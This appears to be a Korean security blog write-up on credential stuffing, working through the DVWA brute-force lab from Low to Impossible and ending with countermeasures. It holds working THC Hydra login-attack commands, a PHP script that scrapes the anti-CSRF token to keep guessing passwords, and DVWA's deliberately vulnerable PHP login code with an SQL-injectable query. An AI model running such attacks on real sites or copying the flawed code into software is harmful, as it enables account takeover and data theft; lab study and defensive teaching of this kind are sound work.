- 이미 다른 곳에서 탈취한 크리덴셜를 이용해 여러 웹 사이트나 앱에 접근을 시도(Stuffing, 대입)하여 개인정보나 자료를 탈취

> 크리덴셜이란 사용자가 본인을 증명하는 수단으로, 대부분의 사용자들이 여러 사이트에 같은 크리덴셜(패스워드)을 사용하고 있기 때문에 발생

> 가능한 모든 계정정보를 대입하는 Brute-Force 공격과 차이를 보임

 

2. 실습

2.1 DVWA Brute-Force: Level Low

[사진 1] 로그인 실패

 

[사진 2] GET 방식

 

- user/user 계정으로 로그인을 시도한 결과 "Username and/or password incorrect" 에러가 출력되며 로그인 실패

- 로그인 방식은 GET 메소드를 사용하며, 사용자로부터 username과 password 변수를 입력받음

- THC Hydra를 이용하여 공격을 자동화하여 실습을 진행

 

THC Hydra
- "The Hacker's Choice"(THC)라는 단체에서 개발하여 배포하는 명령행 기반의 모의침투(pentest) 도구
- SSH, TELENT, HTTP, HTTPS, FTP, LDAP, SMB, SNMP, POP3 등 다수의 통신규약에 대해 사전기반 비밀번호 공격도구
- 웹취약점분석에서는 관리자나 사용자 계정을 취약하게 관리하는 지의 여부를 점검할 수 있음

 

- 먼저 DVWA IP는 192.168.56.109이며, 로그인은 GET 방식으로 이루어짐

hydra 192.168.56.109 http-form-get

 

- 로그인 페이지는 /vulnerabilities/brute/, 사용자가 입력한 정보는 username=admin&password=user&Login=Login로 전달

- 로그인 실패 시 Username and/or password incorrect. 문자열이 출력

hydra 192.168.56.109 http-form-get "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect."

 

- 실습 레벨이 Low라는 것을 사용자 쿠키 정보(개발자도구_F12 확인)를 통해 서버에 전달

hydra 192.168.56.109 http-form-get "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low;PHPSESSID=37a1e75f8d963b6d9e0e254eef82422f"

 

- 이미 탈취한 계정정보(계정/비밀번호)를 저장한 파일을 사용해 요청 전송

- -t 옵션을 4로 지정해 동시에 4개씩 접속하도록 함

hydra 192.168.56.109 http-form-get "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low;PHPSESSID=37a1e75f8d963b6d9e0e254eef82422f" -L week.txt -P pass.txt -t 4

 

[사진 3] 탈취한 계정 목록

 

- 출력 결과를 통해 유효한 계정은 admin/password인 것을 알 수 있음

※ 명령 수행 결과 출력이 오래 걸려 사진 대체

[사진 4] 수행 결과

 

- Low 레벨의 PHP 소스를 확인해보면 비밀번호를 md5 해시화

- 사용자 입력값을 그대로 사용하며, 반복 로그인 시도 및 실패에 따른 계정 잠금 등의 조치가 없어 반복적인 대입이 가능

$user = $_GET[ 'username' ];

$pass = $_GET[ 'password' ];
$pass = md5( $pass );

$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

 

2.2 DVWA Brute-Force: Level Medium

- Low Level에서 security 쿠키 값만 medium으로 변경하여 요청 재전송

 

hydra 192.168.56.109 http-form-get "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=mediun;PHPSESSID=37a1e75f8d963b6d9e0e254eef82422f" -L week.txt -P pass.txt -t 4

 

[사진 5] 수행 결과

 

- Medium 레벨의 PHP 소스를 확인해보면 username,password 변수에 mysql_real_escape_string() 함수를 사용해 사용자 입력값을 필터링

- SQL Injection 관련 취약점에 대해서는 대응이 가능하지만 반복적인 대입 공격에는 대응하지 못함

$user = $_GET[ 'username' ];
$user = mysql_real_escape_string( $user );
    
$pass = $_GET[ 'password' ];
$pass = mysql_real_escape_string( $pass );

 

2.3 DVWA Brute-Force: Level High

- Level High의 PHP 소스를 확인해보면 사용자의 token과 세션 token을 비교해 동일한 경우 로그인이 수행

- 사용자 token 값은 숨겨진 속성으로 전송되며, 로그인을 수행할때마다 값이 변경됨

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = mysql_real_escape_string( $user );

$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = mysql_real_escape_string( $pass );

 

- 구글 조회를 통해 사용자 token을 받아온 후 해당 token을 이용해 로그인을 수행하는 스크립트를 사용

- 스크립트 사용 결과 계정 정보는 admin/password로 확인됨

<?php
$user_list = array( 'root', 'admin', 'manager' );
$pass_list = array( '123456', 'qwerty', '123456789', 'password', '12345678' );

foreach ($user_list as $user) {
    foreach ($pass_list as $pass) {
        $c = curl_init('http://192.168.206.136/vulnerabilities/brute/index.php');
        curl_setopt($c, CURLOPT_COOKIE, 'PHPSESSID=gulk7ha641o55qk52os77asr42; security=high');
        curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
        $page = curl_exec($c);
        $needle = "user_token' value='";
        $token = substr($page, strpos($page, $needle)+strlen($needle), 32);
        curl_close($c);

        $c = curl_init('http://192.168.206.136/vulnerabilities/brute/index.php?username='.$user.'&password='.$pass.'&Login=Login&user_token='.$token);
        curl_setopt($c, CURLOPT_COOKIE, 'PHPSESSID=gulk7ha641o55qk52os77asr42; security=high');
        curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
        $page = curl_exec($c);
        curl_close($c);
        if (strstr($page, 'Username and/or password incorrect.')) continue;
        else {
            echo $user.'/'.$pass." 로그인 성공!\n";
            exit(0);
        }
    }
}
?>

 

2.4 DVWA Brute-Force: Level Impossible

- Impossible 레벨의 PHP 소스코드를 확인해보면 3회이상 계정 오입력 시 15분동안 계정을 잠금 처리

- 공격자는 15분동안 대기해야 하므로 반복적 대입 공격이 거의 불가능함

- 하지만, 정상적인 사용자 또한 15분을 대기하여야 하므로 적절한 시간 설정이 필요

// Default values
$total_failed_login = 3;
$lockout_time       = 15;
$account_locked     = false; 

[생략]

if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = $row[ 'last_login' ];
        $last_login = strtotime( $last_login );
        $timeout    = strtotime( "{$last_login} +{$lockout_time} minutes" );
        $timenow    = strtotime( "now" );

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow > $timeout )
            $account_locked = true;
    }

 

3. 대응방안

- 봇 차단

- 다중인증 도입

- 비밀번호 설정 규칙 강화

- 비밀번호 실패 횟수 및 계정 잠금 시간 설정

- 각 서비스마다 고유한 계정정보를 사용

 

4. 참고

[1] https://github.com/vanhauser-thc/thc-hydra
[2] https://medium.com/hacker-toolbelt/dvwa-1-9-ii-brute-force-4cd8efe1c7f2
[3] https://webhack.dynu.net/?idx=20161205.003
[4] http://blog.plura.io/?p=13094

+ Recent posts